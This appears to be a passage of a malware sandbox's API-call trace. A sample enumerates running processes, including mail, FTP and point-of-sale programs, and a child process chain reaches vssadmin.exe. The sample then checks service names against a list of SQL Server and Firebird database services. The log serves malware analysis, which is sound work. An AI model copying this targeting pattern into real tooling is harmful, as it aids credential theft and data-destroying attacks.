lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0057.868] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0057.868] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0057.869] lstrlenW (lpString="icq.exe") returned 7 [0057.869] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0057.871] lstrlenW (lpString="leechftp.exe") returned 12 [0057.871] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0057.873] lstrlenW (lpString="ncftp.exe") returned 9 [0057.873] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0057.875] lstrlenW (lpString="notepad.exe") returned 11 [0057.875] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0057.877] lstrlenW (lpString="operamail.exe") returned 13 [0057.877] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0057.879] lstrlenW (lpString="pidgin.exe") returned 10 [0057.879] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0057.880] lstrlenW (lpString="scriptftp.exe") returned 13 [0057.880] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0057.882] lstrlenW (lpString="skype.exe") returned 9 [0057.882] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0057.884] lstrlenW (lpString="smartftp.exe") returned 12 [0057.884] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0057.885] lstrlenW (lpString="thunderbird.exe") returned 15 [0057.886] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0057.887] lstrlenW (lpString="totalcmd.exe") returned 12 [0057.887] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0057.888] lstrlenW (lpString="trillian.exe") returned 12 [0057.888] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0058.133] lstrlenW (lpString="webdrive.exe") returned 12 [0058.134] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0058.136] lstrlenW (lpString="whatsapp.exe") returned 12 [0058.136] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0058.138] lstrlenW (lpString="winscp.exe") returned 10 [0058.138] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0058.139] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0058.139] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0058.141] lstrlenW (lpString="active-charge.exe") returned 17 [0058.141] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0058.142] lstrlenW (lpString="accupos.exe") returned 11 [0058.142] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0058.144] lstrlenW (lpString="afr38.exe") returned 9 [0058.144] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0058.145] lstrlenW (lpString="aldelo.exe") returned 10 [0058.146] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0058.147] lstrlenW (lpString="ccv_server.exe") returned 14 [0058.147] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0058.149] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0058.149] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0058.150] lstrlenW (lpString="creditservice.exe") returned 17 [0058.150] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0058.152] lstrlenW (lpString="edcsvr.exe") returned 10 [0058.152] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0058.153] lstrlenW (lpString="fpos.exe") returned 8 [0058.153] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0058.155] lstrlenW (lpString="isspos.exe") returned 10 [0058.155] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0058.156] lstrlenW (lpString="mxslipstream.exe") returned 16 [0058.156] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0058.158] lstrlenW (lpString="omnipos.exe") returned 11 [0058.158] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0058.159] lstrlenW (lpString="spcwin.exe") returned 10 [0058.159] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0058.160] lstrlenW (lpString="spgagentservice.exe") returned 19 [0058.160] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0058.162] lstrlenW (lpString="utg2.exe") returned 8 [0058.162] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="complicatedprivacy.exe")) returned 1 [0058.163] lstrlenW (lpString="complicatedprivacy.exe") returned 22 [0058.163] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="increases.exe")) returned 1 [0058.164] lstrlenW (lpString="increases.exe") returned 13 [0058.164] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0058.165] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0058.166] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0058.167] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0058.167] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0058.168] lstrlenW (lpString="driver.exe") returned 10 [0058.168] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0058.169] lstrlenW (lpString="cmd.exe") returned 7 [0058.169] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.170] lstrlenW (lpString="conhost.exe") returned 11 [0058.170] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0058.352] lstrlenW (lpString="vssadmin.exe") returned 12 [0058.352] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0058.353] lstrlenW (lpString="VSSVC.exe") returned 9 [0058.353] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0058.354] CloseHandle (hObject=0x190) returned 1 [0058.354] Sleep (dwMilliseconds=0x1f4) [0059.517] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35f0638 [0059.518] EnumServicesStatusExW (in: hSCManager=0x35f0638, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 0 [0059.518] GetLastError () returned 0xea [0059.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x13a6) returned 0x60e1c0 [0059.519] EnumServicesStatusExW (in: hSCManager=0x35f0638, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60e1c0, cbBufSize=0x13a6, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60e1c0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 1 [0059.519] CloseServiceHandle (hSCObject=0x35f0638) returned 1 [0059.520] lstrlenW (lpString="Appinfo") returned 7 [0059.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0059.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0059.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0059.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0059.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0059.520] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0059.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.520] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0059.520] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0059.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0059.520] lstrlenW (lpString="AudioSrv") returned 8 [0059.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0059.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0059.520] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0059.520] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0059.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0059.521] lstrlenW (lpString="BFE") returned 3 [0059.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0059.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0059.521] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0059.521] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0059.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0059.521] lstrlenW (lpString="CryptSvc") returned 8 [0059.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0059.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0059.521] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0059.521] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0059.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0059.521] lstrlenW (lpString="CscService") returned 10 [0059.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0059.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0059.521] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0059.521] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0059.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0059.521] lstrlenW (lpString="DcomLaunch") returned 10 [0059.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.521] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0059.521] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0059.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0059.522] lstrlenW (lpString="Dhcp") returned 4 [0059.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0059.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0059.522] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0059.522] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0059.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0059.522] lstrlenW (lpString="Dnscache") returned 8 [0059.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0059.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0059.522] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0059.522] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0059.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0059.522] lstrlenW (lpString="DPS") returned 3 [0059.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0059.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0059.522] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0059.522] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0059.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0059.522] lstrlenW (lpString="eventlog") returned 8 [0059.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0059.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0059.523] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0059.523] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0059.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0059.523] lstrlenW (lpString="EventSystem") returned 11 [0059.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0059.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0059.523] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0059.523] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0059.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0059.523] lstrlenW (lpString="FontCache") returned 9 [0059.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0059.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0059.523] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0059.523] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0059.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0059.523] lstrlenW (lpString="gpsvc") returned 5 [0059.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0059.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0059.523] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0059.523] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0059.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0059.524] lstrlenW (lpString="iphlpsvc") returned 8 [0059.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.524] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0059.524] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0059.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0059.524] lstrlenW (lpString="LanmanServer") returned 12 [0059.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0059.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0059.524] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0059.524] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0059.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0059.524] lstrlenW (lpString="LanmanWorkstation") returned 17 [0059.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.524] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0059.524] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0059.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0059.524] lstrlenW (lpString="lmhosts") returned 7 [0059.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0059.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0059.524] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0059.525] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0059.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0059.525] lstrlenW (lpString="MMCSS") returned 5 [0059.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0059.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0059.525] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0059.525] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0059.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0059.525] lstrlenW (lpString="MpsSvc") returned 6 [0059.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0059.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0059.525] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0059.525] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0059.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0059.525] lstrlenW (lpString="Netman") returned 6 [0059.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0059.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0059.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0059.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0059.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0059.526] lstrlenW (lpString="netprofm") returned 8 [0059.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 